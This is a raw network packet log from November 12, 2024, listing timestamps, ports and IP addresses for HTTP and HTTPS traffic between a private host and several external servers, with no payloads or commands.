Nov 12, 2024 21:21:22.859378099 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859380960 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.859389067 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859397888 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859410048 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.859424114 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.859431982 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859442949 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859453917 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859463930 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859477997 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.859481096 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859492064 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859496117 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.859503031 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859515905 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859523058 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.859525919 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859539986 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859545946 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.859571934 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.859600067 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859611988 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859622002 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859642029 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.859662056 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.859667063 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859677076 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859688044 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859699965 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859709978 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.859710932 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859723091 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859724045 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.859751940 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859755993 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.859764099 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859776974 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859778881 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.859806061 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.859824896 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.859885931 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859904051 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.859930038 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.859941959 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:23.970163107 CET	49739	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:23.970201015 CET	443	49739	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:23.970313072 CET	49739	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:23.970516920 CET	49739	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:23.970535040 CET	443	49739	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:24.176218033 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:24.176263094 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:24.176364899 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:24.176659107 CET	49741	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:24.176704884 CET	443	49741	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:24.176755905 CET	49741	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:24.176896095 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:24.176909924 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:24.177058935 CET	49741	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:24.177073002 CET	443	49741	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:24.326761007 CET	49742	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:24.326807022 CET	443	49742	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:24.326870918 CET	49742	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:24.327115059 CET	49742	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:24.327130079 CET	443	49742	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:24.842407942 CET	443	49739	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:24.842658043 CET	49739	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:24.842669010 CET	443	49739	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:24.843806982 CET	443	49739	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:24.843868017 CET	49739	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:24.845221043 CET	49739	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:24.845283031 CET	443	49739	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:24.845510006 CET	49739	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:24.845515966 CET	443	49739	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:24.885042906 CET	49739	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.036055088 CET	443	49741	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.036288977 CET	49741	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.036315918 CET	443	49741	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.037300110 CET	443	49741	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.037389040 CET	49741	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.037656069 CET	49741	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.037705898 CET	443	49741	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.037805080 CET	49741	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.037811041 CET	443	49741	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.067390919 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.067774057 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.067784071 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.068818092 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.068883896 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.069216967 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.069273949 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.069438934 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.069446087 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.087738037 CET	49741	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.118998051 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.135514975 CET	443	49739	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.135571003 CET	443	49739	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.135611057 CET	443	49739	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.135649920 CET	443	49739	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.135663986 CET	49739	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.135694027 CET	443	49739	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.135708094 CET	49739	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.181483984 CET	49739	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.181495905 CET	443	49739	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.181687117 CET	49739	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.181752920 CET	443	49739	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.181850910 CET	49739	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.183716059 CET	443	49742	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.183963060 CET	49742	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.183974981 CET	443	49742	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.185036898 CET	443	49742	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.185106039 CET	49742	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.185579062 CET	49742	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.185640097 CET	443	49742	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.185714006 CET	49742	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.185720921 CET	443	49742	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.228358984 CET	49742	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.355577946 CET	49741	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.355663061 CET	443	49741	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.355724096 CET	49741	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.368150949 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.368201971 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.368242025 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.368266106 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.368279934 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.368347883 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.368973970 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.369446039 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.369498968 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.369505882 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.378061056 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.378108978 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.378117085 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.431497097 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.431508064 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.459057093 CET	443	49742	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.479283094 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.491780996 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.491873980 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.492074013 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.492084026 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.493633986 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.493697882 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.493704081 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.498894930 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.498945951 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.498953104 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.507850885 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.507951975 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.507960081 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.513304949 CET	49742	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.513314962 CET	443	49742	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.518520117 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.518702030 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.518709898 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.526599884 CET	49742	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.526705980 CET	443	49742	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.526806116 CET	49742	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.529308081 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.529350042 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.529357910 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.535964966 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.536045074 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.536072969 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.543965101 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.544022083 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.544028997 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.552701950 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.552756071 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.552762985 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.603533030 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.603540897 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.625560045 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.625597954 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.625607967 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.625614882 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.625658989 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.625663996 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.625838995 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.625878096 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.625889063 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.625921011 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.625960112 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.625965118 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.626658916 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.626708031 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.626709938 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.626718044 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.626765966 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.626770973 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.631736040 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.631783962 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.631784916 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.631794930 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.631838083 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.635689020 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.642054081 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.642086983 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.642124891 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.642132044 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.642168045 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.648302078 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.655256033 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.655292034 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.655337095 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.655347109 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.655386925 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.660972118 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.667290926 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.667339087 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.667383909 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.667392969 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.667504072 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.673722029 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.680377960 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.680429935 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.680434942 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.680447102 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.680497885 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.686417103 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.692853928 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.692899942 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.692907095 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.699449062 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.699482918 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.699502945 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.699510098 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.699631929 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.705406904 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.711781979 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.711828947 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.711839914 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.711847067 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.711966991 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.738650084 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.738807917 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.738842010 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.738871098 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.738894939 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.738944054 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.738950014 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.739418983 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.739464045 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.739470959 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.740060091 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.740097046 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.740103006 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.741754055 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.741806030 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.741813898 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.747167110 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.747308969 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.747328997 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.752810955 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.752865076 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.752873898 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.756572008 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.756643057 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.756649971 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.759777069 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.760020971 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.760027885 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.762933016 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.762980938 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.762988091 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.767307043 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.767366886 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.767374992 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.769910097 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.769959927 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.769968987 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.773283005 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.773495913 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.773502111 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.776459932 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.776504040 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.776510000 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.777010918 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:25.777065039 CET	443	49740	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:25.777132988 CET	49740	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:27.467072964 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:27.467097998 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:27.467144966 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:27.467339993 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:27.467353106 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:27.862488031 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:27.864736080 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:28.329022884 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.329355955 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.329374075 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.330372095 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.330430984 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.331676960 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.331756115 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.332149029 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.332155943 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.385003090 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.480182886 CET	49753	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:28.480240107 CET	443	49753	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:28.482732058 CET	49753	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:28.482924938 CET	49753	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:28.482938051 CET	443	49753	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:28.580312967 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.580367088 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.580396891 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.580442905 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.580468893 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.580487967 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.580492020 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.580506086 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.580539942 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.589442968 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.589824915 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.589835882 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.634996891 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.635035992 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.681849003 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.697736025 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.697801113 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.697854042 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.697874069 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.704585075 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.704659939 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.704670906 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.709654093 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.709728956 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.709738970 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.718543053 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.718616009 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.718627930 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.727282047 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.727333069 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.727351904 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.736485958 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.736586094 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.736597061 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.745240927 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.745309114 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.745321035 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.754551888 CET	443	49750	142.250.185.206	192.168.2.4
